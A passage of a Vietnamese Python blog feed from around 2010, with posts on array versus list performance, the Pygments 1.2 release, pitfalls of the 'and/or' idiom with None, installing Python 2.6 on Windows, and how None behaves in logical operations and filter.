<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x.reverse()"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('L', range(10**7))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">4.0138636612646224</span>
</pre></div>
<p>Trên python 3.* bạn phải viết x = list(range(10**7)) do hàm range trong python 3.* trả về iterator chứ không phải list.</p>
<p>Với phép toán nhân list lại chậm hơn array. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"100000*x"</span><span class="p">,</span> <span class="s2">"from array import array; </span><span class="se">\</span>
<span class="gp">... </span><span class="s2">x=array('u', u'hello world')"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.077855393644313153</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"100000*x"</span><span class="p">,</span> <span class="s2">"x=list(u'hello world')"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.20222266310884152</span>
</pre></div>
<p>Dùng array sẽ kỳ hiệu quả hơn trong phép cộng:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x + y"</span><span class="p">,</span> <span class="s2">"from array import array;</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">x=array('L', range(10*7));y=x[:]"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.00019484576660033781</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x + y"</span><span class="p">,</span> <span class="s2">"x=range(10*7);y=x[:]"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.0005318282637745142</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x + y"</span><span class="p">,</span> <span class="s2">"from array import array;</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">x=array('L', range(1000));y=x[:]"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">()</span>
<span class="go">2.354171564954413</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x + y"</span><span class="p">,</span> <span class="s2">"x=range(1000);y=x[:]"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">()</span>
<span class="go">20.363064586337714</span>
</pre></div>
<p>Như vậy là không phải lúc nào array cũng nhanh hơn list. Ít nhất là trong thao tác đảo ngược mảng và sắp xếp. Trong hầu hết các tính toán với danh sách kích thước nhỏ, dùng list sẽ tiện và nhanh hơn.</p>
</div>
Pygments 1.2 với kiểu Monokai2010-01-05T10:36:00+07:002010-01-05T10:36:00+07:00Nguyễn Thành Namtag:None,2010-01-05:2010/01/pygments-12-voi-kieu-monokai.html<p>Ngày 01 tháng 01 năm 2010 (ngày đầu năm mới 2010), Georg Brandl đã công bố <a class="reference external" href="http://mail.python.org/pipermail/python-announce-list/2010-January/008034.html">phiên bản 1.2, tên gọi Neujahr</a> của gói Pygments.</p>
<p>Pygments là thư viện làm sáng cú pháp (syntax highlighter) tổng quát, và được sử dụng để tô điểm cho các phần mã nguồn …</p><p>Ngày 01 tháng 01 năm 2010 (ngày đầu năm mới 2010), Georg Brandl đã công bố <a class="reference external" href="http://mail.python.org/pipermail/python-announce-list/2010-January/008034.html">phiên bản 1.2, tên gọi Neujahr</a> của gói Pygments.</p>
<p>Pygments là thư viện làm sáng cú pháp (syntax highlighter) tổng quát, và được sử dụng để tô điểm cho các phần mã nguồn ở chính trang PCNV này.</p>
<p>Người dùng có thể tải Pygments từ <a class="reference external" href="http://pypi.python.org/pypi/Pygments">http://pypi.python.org/pypi/Pygments</a>, hoặc xem qua một số ví dụ tại <a class="reference external" href="http://pygments.org/demo">http://pygments.org/demo</a>.</p>
<p>Phiên bản 1.2 không còn tương thích với Python 2.3, có hỗ trợ thêm một số cú pháp mới, và đặc biệt là thêm vào <a class="reference external" href="http://www.monokai.nl/blog/2006/07/15/textmate-color-theme/">kiểu màu Monokai</a> như các bạn có thể thấy tại trang PCNV.</p>
..and..or..2010-01-02T16:25:00+07:002010-01-02T16:25:00+07:00Phạm Thị Minh Hoàitag:None,2010-01-02:2010/01/andor.html<p>Trong bài viết trước về <strong>Phần tử không</strong> tôi có nói về việc cần phải cẩn thận khi dùng phép toán có tương tác giữa phần tử không và <strong>None</strong>. Trong bài này tôi trình bày một ví dụ nhỏ minh họa rõ hơn một vấn đề mà nhiều bạn …</p><p>Trong bài viết trước về <strong>Phần tử không</strong> tôi có nói về việc cần phải cẩn thận khi dùng phép toán có tương tác giữa phần tử không và <strong>None</strong>. Trong bài này tôi trình bày một ví dụ nhỏ minh họa rõ hơn một vấn đề mà nhiều bạn mới học có thể gặp phải. Đó là phép toán rút gọn <strong>..and..or..</strong> khi có sự tham gia của <strong>None</strong>.</p>
<p>Cấu trúc <strong>if.. else</strong> và phép gán giá trị theo điều kiện trong python:</p>
<div class="highlight"><pre><span></span><span class="k">if</span> <span class="n">condition</span><span class="p">:</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">somevalue</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">othervalue</span>
</pre></div>
<p>Có thể được viết trên một dòng:</p>
<div class="highlight"><pre><span></span><span class="n">x</span> <span class="o">=</span> <span class="n">condition</span> <span class="ow">and</span> <span class="n">somevalue</span> <span class="ow">or</span> <span class="n">othervalue</span>
</pre></div>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">x</span> <span class="o">=</span> <span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="mi">2</span> <span class="o">==</span> <span class="mi">3</span> <span class="ow">and</span> <span class="s2">"OK"</span> <span class="ow">or</span> <span class="s2">"DUREX"</span>
<span class="gp">>>> </span><span class="n">x</span>
<span class="go">'OK'</span>
</pre></div>
<p>Thực tế có nhiều bạn thích cách viết này. Vì nó gọn hơn và <em>mang tính python</em> hơn. Tuy nhiên hãy cẩn thận khi sử dụng cấu trúc này. Chẳng hạn trong cấu trúc:</p>
<div class="highlight"><pre><span></span><span class="n">x</span> <span class="o">=</span> <span class="n">condition</span> <span class="ow">and</span> <span class="n">func1</span><span class="p">()</span> <span class="ow">or</span> <span class="n">func2</span><span class="p">()</span>
</pre></div>
<p>Hàm <strong>func1()</strong> và <strong>func2()</strong> có thể có giá trị <strong>None</strong>, khi đó kết quả kỳ vọng có thể không như bạn mong muốn. Xét ví dụ:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">func1</span><span class="p">():</span>
<span class="k">return</span> <span class="kc">None</span>
<span class="k">def</span> <span class="nf">func2</span><span class="p">():</span>
<span class="k">return</span> <span class="s2">"some value"</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="n">func1</span><span class="p">()</span> <span class="ow">or</span> <span class="n">func2</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">x</span>
</pre></div>
<p>Kết quả:</p>
<pre class="literal-block">
some value
</pre>
<p>Biểu thức logic là <strong>True</strong> song vì <strong>func1() == None</strong> nên <strong>x = True and None or func2()</strong> = <strong>"some value"</strong></p>
<p>Vì vậy hãy cẩn thận khi dùng cấu trúc <strong>..and..or..</strong> trừ khi bạn biết rõ các giá trị tham gia biểu thức này luôn luôn khác <strong>None</strong>.</p>
<p>Từ phiên bản 2.5 trở đi Python hỗ trợ cấu trúc:</p>
<div class="highlight"><pre><span></span><span class="n">x</span> <span class="o">=</span> <span class="n">TrueValue</span> <span class="k">if</span> <span class="n">Condition</span> <span class="k">else</span> <span class="n">FalseValue</span>
</pre></div>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="n">x</span> <span class="o">=</span> <span class="s2">"OK"</span> <span class="k">if</span> <span class="mi">1</span><span class="o">+</span><span class="mi">1</span> <span class="o">==</span> <span class="mi">2</span> <span class="k">else</span> <span class="s2">"DUREX"</span>
</pre></div>
Lập trình web với Python (2)2010-01-01T03:05:00+07:002010-01-01T03:05:00+07:00Nguyễn Thành Namtag:None,2010-01-01:2010/01/lap-trinh-web-voi-python-2.html<div class="section" id="cai-dat-python">
<h2>Cài đặt Python</h2>
<p>Sau khi cài đặt máy chủ web Apache, chúng ta cần cài đặt trình thông dịch Python. Chúng ta sẽ sử dụng phiên bản 2.6.4 trong chuỗi bài viết này. Bộ cài đặt Python 2.6.4 có thể được tải về từ <a class="reference external" href="https://www.python.org/download/">https://www …</a></p></div><div class="section" id="cai-dat-python">
<h2>Cài đặt Python</h2>
<p>Sau khi cài đặt máy chủ web Apache, chúng ta cần cài đặt trình thông dịch Python. Chúng ta sẽ sử dụng phiên bản 2.6.4 trong chuỗi bài viết này. Bộ cài đặt Python 2.6.4 có thể được tải về từ <a class="reference external" href="https://www.python.org/download/">https://www.python.org/download/</a>.</p>
<p>Khi thực thi phần cài đặt, chúng ta sẽ gặp một hộp thoại như sau:</p>
<img alt="" src="/static/web-programming/install-python/python-install-1.png" />
<p>Chọn <strong>Install for all users</strong> và nhấn nút <strong>Next</strong> để tiếp tới hình chụp sau:</p>
<img alt="" src="/static/web-programming/install-python/python-install-2.png" />
<p>Nếu bạn muốn cài đặt vào nơi khác thì chọn đường dẫn, nếu không thì chúng ta sẽ sử dụng đường dẫn mặc định <strong>C:Python26</strong>. Nhấn nút <strong>Next</strong> để tiếp tục.</p>
<img alt="" src="/static/web-programming/install-python/python-install-3.png" />
<p>Chúng ta sẽ nhấn tiếp <strong>Next</strong> ở hộp thoại này để bắt đầu quá trình cài đặt các phần thông dụng như trình thông dịch, tài liệu, ví dụ...</p>
<img alt="" src="/static/web-programming/install-python/python-install-4.png" />
<p>Hộp thoại trên cho chúng ta biết quá trình cài đặt đang diễn ra.</p>
<img alt="" src="/static/web-programming/install-python/python-install-5.png" />
<p>Khi kết thúc, chúng ta chỉ cần nhấn nút <strong>Finish</strong>.</p>
<p>Để kiểm tra Python có được cài vào máy chưa thì chúng ta sẽ cần mở màn hình dấu nhắc lệnh (command prompt) bằng cách nhấn vào nút <strong>Start</strong> và nhập <strong>cmd.exe</strong> sau đó gõ phím <strong>Enter</strong> như bình bên dưới.</p>
<img alt="" src="/static/web-programming/install-python/python-install-6.png" />
<p>Chúng ta sẽ nhận được một cửa sổ dòng lệnh. Nhập vào cửa sổ dòng lệnh <strong>c:Python26python.exe</strong> thì chúng ta sẽ thấy rằng trình thông dịch Python được thực thi, và nó hiện ra một dấu nhắc tương tác (interactive prompt) như trong hình sau:</p>
<img alt="" src="/static/web-programming/install-python/python-install-7.png" />
<p>Ngay tại đây chúng ta có thể nhập một câu lệnh Python <tt class="docutils literal">print 'web programming in python'</tt>. Câu lệnh này sẽ được thực hiện và kết quả là chúng ta sẽ nhận được chuỗi <strong>web programming in python</strong> in ra trên màn hình như hình sau:</p>
<img alt="" src="/static/web-programming/install-python/python-install-8.png" />
<p>Để thoát khỏi trình thông dịch Python, chúng ta sẽ nhập vào dòng lệnh <tt class="docutils literal">quit()</tt>.</p>
<img alt="" src="/static/web-programming/install-python/python-install-9.png" />
<p>Để thoát khỏi dấu nhắc dòng lệnh thì chúng ta nhập tiếp lệnh <strong>exit</strong>.</p>
<p>Như vậy, chúng ta đã thật sự hoàn tất việc cài đặt trình thông dịch Python. Nếu bạn có nhu cầu tìm hiểu thêm về ngôn ngữ và các thư viện đi kèm thì <a class="reference external" href="/tutorial/2.5/tut.html">bài chỉ dẫn Python 2.5 bằng tiếng Việt</a> có lẽ sẽ giúp ích nhiều cho bạn.</p>
<p>Chúng ta sẽ sẵn sàng cho chương trình web đầu tiên trong bài viết sau! Hẹn gặp lại và chúc mừng năm mới.</p>
</div>
Phần tử không trong Python2009-12-25T06:30:00+07:002009-12-25T06:30:00+07:00Phạm Thị Minh Hoàitag:None,2009-12-25:2009/12/phan-tu-khong-trong-python.html<p>Bài viết này nêu lên một số khía cạnh thú vị (nhưng cũng rắc rối) của kiểu dữ liệu <tt class="docutils literal">None</tt> cùng các phép toán liên quan đến nó, qua đó giúp các bạn mới học hiểu sâu sắc hơn về các kiểu dữ liệu có trong Python. Bài viết này …</p><p>Bài viết này nêu lên một số khía cạnh thú vị (nhưng cũng rắc rối) của kiểu dữ liệu <tt class="docutils literal">None</tt> cùng các phép toán liên quan đến nó, qua đó giúp các bạn mới học hiểu sâu sắc hơn về các kiểu dữ liệu có trong Python. Bài viết này có sử dụng một số khái niệm có trong lý thuyết nhóm chỉ nhằm mục đích minh họa những ý đồ của người viết.</p>
<div class="section" id="khai-niem-phan-tu-khong">
<h2>1. Khái niệm phần tử không</h2>
<p>Trong lý thuyết nhóm có khái niệm về phần tử không hay <a class="reference external" href="http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_t%E1%BB%AD_%C4%91%C6%A1n_v%E1%BB%8B">phần tử trung hòa</a>. Phần tử không <strong>θ</strong> của một tập <strong>S</strong> trên phép toán <strong>*</strong> là phần tử thỏa mãn: <tt class="docutils literal">a*θ = θ*a = a</tt> với mọi <strong>a</strong> trên <strong>S</strong>.</p>
<p>Các kiểu dữ liệu cơ bản trong Python cũng có phần tử không như vậy. Xem bảng tổng kết sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="13%" />
<col width="11%" />
<col width="14%" />
<col width="63%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Kiểu dữ liệu</th>
<th class="head">Phép toán</th>
<th class="head">Phần tử không</th>
<th class="head">Ví dụ</th>
</tr>
</thead>
<tbody valign="top">
<tr><td>Số nguyên</td>
<td>+</td>
<td>0</td>
<td>0 + 69 = 69 + 0</td>
</tr>
<tr><td>Số thực</td>
<td>+</td>
<td>0.0</td>
<td>0.0 + 96.0 = 96.0 + 0.0</td>
</tr>
<tr><td>Danh sách</td>
<td>+, extend</td>
<td>[]</td>
<td>[1] + [] = [] + [1] = [1]</td>
</tr>
<tr><td>tuple</td>
<td>+</td>
<td>()</td>
<td>(1,) + () = () + (1,) = (1,)</td>
</tr>
<tr><td>Tập hợp</td>
<td>union</td>
<td>set([])</td>
<td>set([1]).union(set([])) = set([]).union(set([1])) = set([1])</td>
</tr>
<tr><td>Chuỗi</td>
<td>+</td>
<td><tt class="docutils literal">""</tt></td>
<td>"abc" + "" = "" + "abc" = "abc"</td>
</tr>
<tr><td>Từ điển</td>
<td>update</td>
<td>{}</td>
<td>{1:1}.update({}) = {}.update({1:1}) = {1:1}</td>
</tr>
<tr><td>Số phức</td>
<td>+</td>
<td>0 + 0j</td>
<td> </td>
</tr>
<tr><td>Logic</td>
<td>or</td>
<td>False</td>
<td>False or True = True or False = True</td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="none-va-cac-toan-tu-logic">
<h2>2. None và các toán tử logic</h2>
<p><strong>None</strong> là một tập hợp đặc biệt, chỉ có chính nó, mà cũng không phải là chính nó. Không phải là chính nó vì <strong>None</strong> bao hàm ý nghĩa là <em>thiếu giá trị</em> (denoting lack of value):</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">type</span><span class="p">(</span><span class="kc">None</span><span class="p">)</span>
<span class="go"><type 'NoneType'></span>
</pre></div>
<p><strong>None</strong> tương tác với tất cả các phần tử không:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">assert</span><span class="p">(([]</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="p">[])</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">(({}</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="p">{})</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mf">0.0</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="mf">0.0</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="s2">""</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="s2">""</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="nb">set</span><span class="p">([])</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="nb">set</span><span class="p">([]))</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((()</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="p">())</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mi">0</span><span class="n">j</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="n">J</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">False</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="o">==</span> <span class="kc">False</span><span class="p">)</span>
</pre></div>
<p>Nếu ta gọi <strong>S</strong> là tập hợp các phần tử không, bao gồm chính <strong>None</strong>, thì với phép toán <strong>and</strong>, <strong>None</strong> chính là phần tử không bên phải của <strong>S</strong>. Ai bảo <strong>None</strong> không phải là giá trị.</p>
<p>Tuy nhiên:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="p">[])</span> <span class="o">==</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="p">{})</span> <span class="o">==</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="nb">set</span><span class="p">([]))</span> <span class="o">==</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="s2">""</span><span class="p">)</span> <span class="o">==</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="kc">None</span><span class="p">)</span>
</pre></div>
<p>Tương tự:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="nb">set</span><span class="p">([]))</span> <span class="o">==</span> <span class="nb">set</span><span class="p">([]))</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="p">[])</span> <span class="o">==</span> <span class="p">[])</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="p">{})</span> <span class="o">==</span> <span class="p">{})</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="s2">""</span><span class="p">)</span> <span class="o">==</span> <span class="s2">""</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="mi">0</span><span class="n">j</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="n">j</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">or</span> <span class="p">())</span> <span class="o">==</span> <span class="p">())</span>
</pre></div>
<p>Nghĩa là <strong>None</strong> là phần tử không bên phải đối với tập <strong>S</strong> nói trên trong phép toán <strong>or</strong>.</p>
<p>Và:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">assert</span><span class="p">(({}</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">(([]</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mi">0</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="nb">set</span><span class="p">([])</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="s2">""</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mi">0</span><span class="n">j</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((()</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mf">0.0</span> <span class="ow">or</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
</pre></div>
<p>Như vậy khi <strong>None</strong> tương tác với các phần tử không, <em>thứ tự các toán hạng</em> là điều bạn cần chú ý.</p>
<p>Phép toán <strong>or</strong> giữa <strong>None</strong> và object bất kỳ không phải là phần tử không là ánh xạ đồng nhất bất kể thứ tự phép toán:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">set</span><span class="p">([</span><span class="s1">'a'</span><span class="p">])</span> <span class="ow">or</span> <span class="kc">None</span>
<span class="go">set(['a'])</span>
<span class="gp">>>> </span><span class="kc">None</span> <span class="ow">or</span> <span class="nb">set</span><span class="p">([</span><span class="s1">'a'</span><span class="p">])</span>
<span class="go">set(['a'])</span>
<span class="gp">>>> </span><span class="kc">None</span> <span class="ow">or</span> <span class="s2">"abc"</span>
<span class="go">'abc'</span>
<span class="gp">>>> </span><span class="s2">"abc"</span> <span class="ow">or</span> <span class="kc">None</span>
<span class="go">'abc'</span>
<span class="gp">>>> </span><span class="kc">None</span> <span class="ow">or</span> <span class="p">{</span><span class="mi">1</span><span class="p">:</span><span class="mi">1</span><span class="p">}</span>
<span class="go">{1: 1}</span>
<span class="gp">>>> </span><span class="p">{</span><span class="mi">1</span><span class="p">:</span><span class="mi">1</span><span class="p">}</span> <span class="ow">or</span> <span class="kc">None</span>
<span class="go">{1: 1}</span>
</pre></div>
<p>Phép toán <strong>and</strong> thì luôn cho kết quả <strong>None</strong> với bất kỳ phần tử nào không phải là phần tử không, không kể thứ tự toán hạng:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="mi">1</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="mi">1</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">(([</span><span class="mi">1</span><span class="p">]</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="s2">"abc"</span> <span class="ow">and</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
<span class="gp">>>> </span><span class="k">assert</span><span class="p">((</span><span class="kc">None</span> <span class="ow">and</span> <span class="s2">"abc"</span><span class="p">)</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span>
</pre></div>
<p>Một biểu thức logic chứa <strong>None</strong> có thể trả về <strong>None</strong>, nghĩa là không có giá trị. Điều này làm cho <strong>None</strong> trong python trở lên phức tạp và không giống với <strong>null</strong> trong C# hay <strong>nothing</strong> trong VB.NET. Trong VB.NET một biểu thức logic luôn luôn trả về giá trị logic.</p>
<p><strong>None</strong> là tận cùng (bottom), là nhỏ hơn tất cả.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kc">None</span> <span class="o"><</span> <span class="mf">0.0</span> <span class="o">==</span> <span class="mi">0</span> <span class="o"><</span> <span class="p">{}</span> <span class="o"><</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o"><</span> <span class="s2">""</span> <span class="o"><</span> <span class="p">()</span>
<span class="go">True</span>
</pre></div>
<p><strong>None</strong> không có bất kỳ một method nào, thậm chí chính nó là một method khi được dùng với <strong>filter</strong> hoặc <strong>map</strong> (xem phần dưới).</p>
<p>Cuối cùng <strong>None</strong> là <strong>None</strong> - đừng băn khoăn (^-^):</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kc">None</span> <span class="ow">is</span> <span class="kc">None</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="kc">None</span> <span class="o">==</span> <span class="kc">None</span>
<span class="go">True</span>
</pre></div>
<p>Việc hiểu rõ bản chất của <strong>None</strong> cùng các tương tác của nó với các phần tử không qua các phép toán logic là RẤT quan trọng khi bạn viết các lệnh <tt class="docutils literal">if</tt>, <tt class="docutils literal">filter</tt>...</p>
<p>Một hàm bất kỳ có thể trả về <strong>None</strong> nếu bạn viết <strong>return None</strong>, hoặc không <strong>return</strong> ở bất kỳ chỗ nào trong hàm. Một hàm như vậy khi tham gia vào biểu thức logic sẽ tạo ra những hiệu ứng mà bạn cần phải nắm rõ bản chất.</p>
</div>
<div class="section" id="loai-bo-cac-phan-tu-khong-trong-danh-sach">
<h2>3. Loại bỏ các phần tử không trong danh sách</h2>
<p>Nói chung các phần tử không sẽ không có ý nghĩa khi nó nằm trong danh sách. Một trong những cách để loại bỏ phần tử không là dùng <strong>filter</strong>. <strong>filter</strong> cùng với hàm <strong>func</strong> sẽ loại bỏ tất cả các phần tử trong danh sách mà tác động của hàm <strong>func</strong> lên phần tử này tạo ra phần tử không. Diễn giải dễ hiểu của nó như sau:</p>
<div class="highlight"><pre><span></span><span class="go">filter(func, list)</span>
</pre></div>
<p>tương đương với</p>
<div class="highlight"><pre><span></span><span class="go">S = [0, 0.0, [], (), {}, set([]), "", 0j, False]</span>
<span class="go">def filter(func, list):</span>
<span class="go"> return [x for x in list if func(x) not in S]</span>
</pre></div>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="ow">not</span> <span class="n">x</span><span class="p">,</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="kc">False</span><span class="p">,</span> <span class="kc">True</span><span class="p">,</span> <span class="p">{</span><span class="mi">1</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">[]])</span>
<span class="go">[False, []]</span>
</pre></div>
<p>Để loại bỏ các phần tử không trong danh sách <tt class="docutils literal">L</tt>, đơn giản là bạn dùng hàm ánh xạ đồng nhất <tt class="docutils literal">f(x) = x</tt> ví dụ như <tt class="docutils literal">filter(lambda x: x, L)</tt>. Hàm này tương đương với:</p>
<div class="highlight"><pre><span></span><span class="go">def filter(func, list):</span>
<span class="go"> return [x for x in list if x not in S]</span>
</pre></div>
<p>Cuối cùng một cách viết gây khó hiểu là thay thế <tt class="docutils literal">lambda x: x</tt> bằng hàm <strong>None</strong>.</p>
<div class="highlight"><pre><span></span><span class="go">filter(None, list) # <==> filter(lambda x: x, list)</span>
</pre></div>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">filter</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mf">0.0</span><span class="p">,</span> <span class="s2">""</span><span class="p">,</span> <span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="n">j</span><span class="p">,</span> <span class="nb">set</span><span class="p">([]),</span> <span class="p">(),</span> <span class="p">[],</span> <span class="p">{},</span> <span class="kc">False</span><span class="p">])</span>
<span class="go">[]</span>
<span class="gp">>>> </span><span class="nb">filter</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="s2">""</span><span class="p">,</span> <span class="s2">"abc"</span><span class="p">,</span> <span class="s2">" "</span><span class="p">])</span>
<span class="go">['abc', ' ']</span>
